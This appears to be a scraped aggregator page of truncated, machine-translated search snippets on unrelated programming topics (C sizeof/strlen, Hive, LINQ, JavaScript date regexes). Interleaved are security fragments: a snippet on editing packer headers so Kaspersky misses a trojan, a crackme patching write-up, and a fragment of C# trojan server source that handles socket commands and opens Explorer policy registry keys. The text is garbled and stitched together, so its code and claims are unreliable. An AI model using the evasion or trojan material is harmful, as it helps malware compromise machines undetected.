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Differences between sizeof and strlen

(1) Example 1: Char * Ss = "0123456789"; sizeof (SS); // Result 4 ===" SS is the character pointer to a String constant sizeof (* ss ); // result 1 = * ss is the first character char ss [] = "0123456789"; sizeof (

Deep understanding of sizeof

defined: strlenGet the length of a string.Routine Required Header:strlen 2. Let's use several examples.Example 1: Char * ss = "0123456789"; sizeof (ss) Result 4 ===" ss is the character pointer to a String constant sizeof (* ss) result 1 = "* ss is the first character char

Old shell INT3 exception, expiration restrictions, and data shell removal Analysis

exception in: 77F813A2 FF75 0C push dword ptr ss: [EBP + C]77F813A5 FF75 08 push dword ptr ss: [EBP + 8]77F813A8 E8 ECEC0000 CALL ntdll.77F9009977F813AD 5D POP EBP77F813AE C2 1800 RETN 1877F813B1> CC INT3 ====> NOP!77F813B2 C3 RETN ====> stop here.77F813B3 33C9 xor ecx, ECX77F813B5 E9 A5BE0000 JMP ntdll.77F8D25F77F813BA> 55 PUSH EBP77F813BB 8BEC mov ebp, ESP77F813BD 56 PUSH ESI77F813BE 8B75 08 mov esi, dwo

Zte mtk mmi interview questions (some of them)

① Sizeof usage. Take this test a lot. The usage of sizeof in Baidu search is mainly the calculation result. This is an empty question (a lot of questions)Char * Ss = "0123456789 ";Sizeof (SS) Result 4 ===" SS is a character pointer to a String constantSizeof (* ss) Result 1 = "* ss

Sizeof problem in C, C ++

In a 32-bit system, sizeof (void *) = 4 I. First, let's take a look at the definitions of sizeof and strlen on msdn: First, let's take a look at how sizeof is defined on msdn: sizeof Operatorsizeof expressionThe sizeof keyword gives the amount of storage, in bytes, associated with a variable or a type (including aggregate types). This keyword returns a value of type size_t.The expression is either an identifier or a type-cast expression (a type specifier enclosed in parentheses).When applied t

Create a table in Hive

; SelectLineFrom inst_cn_3Where1 = 1And mac is nullAnd line is not nullAnd! (Line rlike '. * unknowuser00 .*'); Hadoop fs-cp/mnt/nfs/log/statcn/inst/inst_cn_3. *. txt/hive/warehouse/inst_cn_3/2011.06.09 hive Time Processing1. selectFrom_unixtime (unix_timestamp ('02/May/2011: 00: 00: 00 + 000000', 'dd/MMMMM/yyyy: HH: mm: ss Z '), 'yyyy-MM-dd HH: mm: ss '),From_unixtime (unix_timestamp ('02/May/2011: 23: 59:

Simply modify the Trojan shell header to make Kaspersky speechless

is modified, Kabbah does not report any virus when it is added to other executable files in this way. The modified program ensures the re-running of the program, otherwise, this modification is meaningless. Start the operation. The following eight most common shells are prepared. I. First test nspack3.6 Load the DT with the nspack shell with OD, and copy the top 10 lines as follows (the blue bold area is the part to be modified, as shown in the following format)004cf302 E8 00000000 call duplica

Sizeof and strlen

Http://www.vckbase.com/document/viewdoc? Id = 1054 1. First, let's take a look at the definitions of sizeof and strlen on msdn: First, let's take a look at how sizeof is defined on msdn: sizeof Operatorsizeof expressionThe sizeof keyword gives the amount of storage, in bytes, associated with a variable or a type (including aggregate types). This keyword returns a value of type size_t.The expression is either an identifier or a type-cast expression (a type specifier enclosed in parentheses).When

160 x Crackme 009 andrénalin.2

To tell the truth, this crackme did me very annoyed ... All right, let's go:Pseudo Code test:Out of the dialog box is what ghost. OD looks up a reference text string, and then I looked at the translation of these odd strings:German.. The author is like a German ... We navigate to the key position of the string and find it up Vbavartsteq variable comparison functionSo see jump position, make clear relationship, all NOP off, the program renamed after dump out, no brain blasting off: OK, find algor

Example of a statement for a ArrayList collection

Example of a statement namespace a ArrayList collection{Class Program{static void Main (string[] args){//One: Stack collection (no index) advanced out, one assignment, one value, sequentiallyStack ss = new stack ();Ss. Push ("1");Ss. Push ("2");Ss. Push ("3");Ss. Push ("4");

sizeof to find bytes and the difference from strlen

tables (virtual pointers) with a size of 4 For example:#include #include#includeusing namespacestd;classa{};classa2{};classB: Publica{};classC: Public Virtualb{};classD: PublicA Publica2{};intMain () {cout"sizeof (A):"sizeof(A) Endl; cout"sizeof (B):"sizeof(B) Endl; cout"sizeof (C):"sizeof(C) Endl; cout"sizeof (D):"sizeof(D) Endl;}Output:The difference between sizeof and strlen:Example one:Char *ss= "0123456789";sizeof (

Trojan Server source code (C #)

=system.text.encoding.ascii.getstring (by); // Ooooooooooooooooooooooooooo The following is the Modify registry ooooooooooooooooooooooooooo// if (ss== "Jiance") {stringnBsp;str= "HJC"; byte[]bytee=system.text.encoding.ascii.getbytes (str. ToCharArray ()); socket. Send (bytee,bytee. length,0); }if (ss== "zx1000") {try{key1=rrr. OpenSubKey ("Software\microsoft\windows\currentversion\policies\explorer", true

Details of the Linq syntax.

Details of the Linq syntax.Gossip I'm busy recently, but I still want to write something. I 'd like to share some basic knowledge with you. I hope this will help some new users with linq. If you have any other questions, you can join the group in the upper-right corner, thank you for your discussion.Open door Before reading this article, let me first talk about how I can monetize each search result set in three ways. In order to better understand it, I hope it will not be too embarrassing. 1. Si

Let's talk about the javascript Date type and javascriptdate.

} ([02468] [1235679]) | ([13579] [01345789]) $/; return r3.test (dateStr );} else if (formatStr = "MM/dd/yyyy" | formatStr = "MM/DD/YYYY ") {var r4 =/^ (0 [13578]) | (1 [02]) \/([0-2] [0-9]) | (3 [01]) | (0 [469]) | (11) \/([0-2] [0-9]) | (30) | (02 \/([0-2] [0-9]) \/([02468] [048]) | ([1, 13579] [26])) (00) | (\ d {2} ([02468] [48]) | ([13579] [26]) | (0 [13578]) | (1 [02]) \/([0-2] [0-9]) | (3 [01]) | (0 [469]) | (11) \/([0-2] [0-9]) | (30) | (02 \/([0-1] [0-9]) | (2 [0-8]) \/\ d {2} ([02468]

C # NPOI export EXCEL,

C # NPOI export EXCEL, Dll files need to be introduced Using System; using System. collections. generic; using System. linq; using System. text; namespace CSR_Web.Common {public class NPOIExport {public static NPOI. HSSF. userModel. HSSFWorkbook DoExport (System. data. dataTable dt, string notile) {// create a workbook NPOI. HSSF. userModel. HSSFWorkbook book = new NPOI. HSSF. userModel. HSSFWorkbook (); // create table npoi. SS. userModel. IShee

Brief Introduction to javascriptDate _ javascript skills

]) | (0) [13578]) | (1 [02]) \-([0-2] [0-9]) | (3 [01]) | (0 [469]) | (11) \-([0-2] [0-9]) | (30 ))) | (02 \-([0-1] [0-9]) | (2 [0-8]) \-\ d {2} ([02468] [1235679]) | ([13579] [01345789]) $/; return r3.test (dateStr );} else if (formatStr = "MM/dd/yyyy" | formatStr = "MM/DD/YYYY ") {var r4 =/^ (0 [13578]) | (1 [02]) \/([0-2] [0-9]) | (3 [01]) | (0 [469]) | (11) \/([0-2] [0-9]) | (30) | (02 \/([0-2] [0-9]) \/([02468] [048]) | ([1, 13579] [26])) (00) | (\ d {2} ([02468] [48]) | ([13579] [26]) | (0

[Turn] Easy language message mechanism analysis (message interception principle)

Title: "original" Easy language message mechanism analysis (message interception principle)Author: Red burnt Maple LeafTime: 2014-12-17,12:41:44Links: http://bbs.pediy.com/showthread.php?t=195626I made an easy-to-use SIG signature for easy analysis. Easy language examples are statically compiled. Version 5.11Easy language is actually based on MFC, it still needs the message distribution mechanism of MFC, but the system andThe agent between the users. All the messages have to be forwarded by it.

Calculator stack with brackets 2016 10 21

#include #include #include #include using namespace Std;int Getnum (string s) {string SS;SS = S;int len = Ss.length ();int sum = 0;int count=0;for (int i=0;iif (ss[i]>= ' 0 ' ss[i]sum = (ss[i]-' 0 ') + sum*10;count++;}else if (count!=0) break;}return sum;} String Cutnum (st

Summary of common operations on the Date type in javascript _ basic knowledge

]) | (3 [01]) | (0 [469]) | (11) \-([0-2] [0-9]) | (30 ))) | (02 \-([0-1] [0-9]) | (2 [0-8]) \-\ d {2} ([02468] [1235679]) | ([13579] [01345789]) $/; 45. return r3.test (dateStr); 46 .} else if (formatStr = "MM/dd/yyyy" | formatStr = "MM/DD/YYYY") {47. var r4 =/^ (0 [13578]) | (1 [02]) \/([0-2] [0-9]) | (3 [01]) | (0 [469]) | (11) \/([0-2] [0-9]) | (30) | (02 \/([0-2] [0-9]) \/([02468] [048]) | ([13579] [26]) (00) | (\ d {2} ([02468] [48]) | ([13579] [26]) | (0 [13578]) | (1 [02]) \/([0-2] [0-9]

Extension of the JavaScriptDate Prototype Method

]) | (11 )) -([0-2] [0-9]) | (30) | (02-([0-1] [0-9]) | (2 [0-8])-d {2} ([02468] [1235679]) | ([13579] [01345789]) $/; return r3.test (dateStr);} else if (formatStr = "MM/dd/yyyy" | formatStr = "MM/DD/YYYY ") {var r4 =/^ (0 [13578]) | (1 [02])/([0-2] [0-9]) | (3 [01]) | (0 [469]) | (11)/([0-2] [0-9]) | (30) | (02/([0-2] [0-9])/([02468] [048]) | ([13579] [26]) (00) | (d {2} ([02468] [48]) | ([13579] [26]) | (0 [13578]) | (1 [02]) /([0-2] [0-9]) | (3 [01]) | (0 [469]) | (11 )) /([0-2] [0-9]) | (30

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